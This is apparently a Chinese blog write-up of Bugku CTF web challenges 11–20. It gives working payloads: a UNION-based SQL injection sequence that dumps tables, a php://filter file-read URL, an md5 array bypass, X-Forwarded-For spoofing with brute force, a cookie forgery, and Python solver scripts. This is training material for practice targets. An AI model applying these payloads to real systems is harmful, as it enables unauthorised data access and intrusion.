Bugku 做题记录 web11~20

Bugku题目web方向

web11

在这里插入图片描述
打开场景找不到什么线索,题目中提示 后门。
用御剑扫描一下后台,扫描到了 /shell.php

打开 /shell.php 后台。
在这里插入图片描述
——
——

web12

打开场景,是一个登陆界面。
尝试登录,发现两个问题,一个账号密码都不知道,还有下面回显提示 IP 禁止访问。
在这里插入图片描述
F12 查看源代码,看到一条或许有用的信息:一段编码,经过 base64 解码得到 text123 ,应该是密码。
在这里插入图片描述
然后用 burp 拦截登录时的那个数据包。
可以先发送到 Intruder 模块进行爆破账号,先加上 X-Forwarded-For:127.0.0.1 的 post 请求。
当然也可以同时爆破账号和密码,不过会更麻烦。
爆破得到 user=admin

发送到 Repeater 模块测试,得到 flag 。
在这里插入图片描述
——
——

web13

在这里插入图片描述
提示查看源代码
可以看到有一段 JavaScript 代码,在最后直接说明了用 unexcape 解码。
解码组合为 p1内容+%35%34%61%61%32+p2内容。
在这里插入图片描述
得到解码内容,把 if 中的内容复制输入在输入框中,提交得到 flag 。
在这里插入图片描述
——
——

web14

在这里插入图片描述
打开场景,页面只显示了 index.php ,并且 url 上有一个参数 file 。
在这里插入图片描述
运用 php 协议,修改 file 的值,构造出 url :
http://114.67.246.176:14523/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
页面上就回显了一段 base64 的编码。

把经过 base64 编码的回显内容解码得到flag 。
在这里插入图片描述
——
——

web15

在这里插入图片描述
打开场景,需要输入 5 位数密码。
在这里插入图片描述
看到密码一般用 burp 进行暴力破解,不过会因为字典原因且没有线索爆破比较麻烦,耗时长。
也有编写 python 脚本的。
最后密码是:12468 ,进去之后就直接得到 flag 。
——
——

web16

在这里插入图片描述
进入场景之后,没有什么有用的信息,根据题目的提示是找一个备份文件。
备份文件都有文件拓展名,而 php的备份有两种: .php 和 .php.bak
尝试输入得以下载备份文件。
在这里插入图片描述
打开文件,是一段代码。
在这里插入图片描述
代码中要求 md5 加密后的 key1 和 key2 ,使 key1==key2 ,且 key1!==key2
然后就要想到 md5 无法处理数组,则构造 get 请求:
?kekeyy1[]=[1]&kekeyy2[]=[2]
得到 flag 。
在这里插入图片描述
——
——

web17

在这里插入图片描述
打开场景,应该就可以判断出是 sql 注入类的题了。
在这里插入图片描述
输入 1’ or 1=1 # 成功回显,判断为字符型注入。
先用 order by 判断字段数:

1’ order by 1 #

当 order by 后面的数字为 5 时,页面没有回显,说明字段数为 4 。

判断存在注入点:

-1’ union select 1,2,3,4

得到 2,3,4 位置存在回显。
在这里插入图片描述

再使用 union 联合查询。
爆当前数据库名:

-1’ union select 1,2,3,database() #

得到数据库名为 skctf 。
在这里插入图片描述

爆表名:

-1’ union select 1,2,3,table_name from information_schema.tables where table_schema=‘skctf’ #

得到表名 fl4g 。
在这里插入图片描述

查列名:

-1’ union select 1,2,3,column_name from information_schema.columns where table_schema=‘skctf’ and table_name=‘fl4g’ #

得到列名 skctf_flag
在这里插入图片描述
查具体数据:

-1’ union select 1,2,3,skctf_flag from fl4g #

得到数据 flag 。
在这里插入图片描述
——
——

web18

在这里插入图片描述
一打开场景,需要进行计算,感觉没有哪里有什么线索。
在这里插入图片描述
我本来是想尝试瞎猜 get 请求,结果发现每次请求页面上的计算题都会变。
实际上直接按刷新界面就会有所不同。
一直刷新,直到界面出现一句话,给了一点线索。大概叫我们对 value 进行 post 请求。
在这里插入图片描述
这里尝试慢慢算出答案再用 hackbar 发送 post 请求是行不通的,因为页面过了 2 秒之后就不响应了。
果然只能老司机来。

查其他人的 writeup 得知可以用 python 脚本。(我还不会python)
给出一个别人现成的代码。

import requests
import re
url = 'http://114.67.246.176:15441/'  #这里是自己的网址
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)

刚开始我用自己的 pycharm 运行的时候出现错误提示没有 requests 这个模块。
那就先安装 requests ,网上有很多教程。
在这里插入图片描述
我原来的 python 版本是 2.7 ,结果一直装不了,后面重新下载 3.9 版本就可以了。
安装好 requests 后,就可以运行了。
运行一下可能没有出现 flag ,要多运行几次就得到 flag 了。
在这里插入图片描述
——
——

web19

在这里插入图片描述
打开场景页面中只有一句话,没有什么线索。
查看源代码,出现“now you have to post the margin what you find ”可能有用。
在这里插入图片描述
再看看其他位置,在网络的消息头位置看到一个 flag 。
后面一段 base64 编码,果断拿去解码得到:“跑的还不错,给你flag吧: OTYxMjI2”
这里没有得到真正的 flag ,把解码得到的 flag 再解码一次可以得到一串数字。
在这里插入图片描述
得到的一串数字可能是某个值,参数就可以回想到前面源代码中的 margin ,需要进行 post 请求。
但是这样进行请求也是没有,如题目所说速度要快,所以得用代码跑。
python 脚本:

import requests
import base64
url = "http://114.67.246.176:15735/"
r = requests.session()
headers = r.get(url).headers # 因为flag在消息头里

mid = base64.b64decode(headers['flag'])
mid = mid.decode() # 为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的

flag = base64.b64decode(mid.split(':')[1]) # 获得flag:后的值
data = {'margin': flag}
print(r.post(url, data).text) # post方法传上去

得到 flag 。
在这里插入图片描述
——
——

web20

在这里插入图片描述
打开场景,只看到没什么用的一串字母,源代码消息头中都没有什么线索。
不过可以看到 url 中有两个参数 line 和 filename 。
line 后面没有值,我们或许可以加,filename 后面的值解码后为 keys.txt
在这里插入图片描述
虽然参数已经是 keys.txt,但是页面上并没有 flag ,根据题目要求可能要传 cookie 进行欺骗,但是现在不知道 cookie 的值。
url 中 get 请求前面还有一个 index.php ,尝试把参数 filename 的值改为 aW5kZXgucGhw (inedex.php)
这个时候修改 line 后面的值,可以得到不同的代码。
在这里插入图片描述
可以一条一条把代码全部显现出来,就是比较麻烦。
可以用 python 代码:

#!/usr/bin/env python

-- coding: utf-8 --

import requests

s = requests.Session() url =
‘http://123.206.87.240:8002/web11/index.php’ for i in range(1, 20):
payload = {‘line’: str(i), ‘filename’: ‘aW5kZXgucGhw’} a = s.get(url,
params=payload).content content = str(a, encoding=“utf-8”)
print(content)

运行后得到所有源码:

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

根据源码,用 burp 伪造 cookie。
注意原本的 filename 的值是 a2V5cy50eHQ=(keys.txt),需要改为 a2V5cy5waHA=(keys.php)
在 burp 上把原本有的 cookie 值改为 margin=margin
得到flag 。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值